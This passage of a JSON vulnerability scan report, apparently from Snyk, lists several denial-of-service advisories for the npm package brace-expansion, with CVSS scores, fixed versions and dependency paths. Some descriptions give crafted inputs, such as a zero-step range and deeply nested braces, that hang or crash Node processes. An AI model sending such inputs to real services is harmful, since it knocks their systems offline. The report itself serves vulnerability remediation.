"2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": 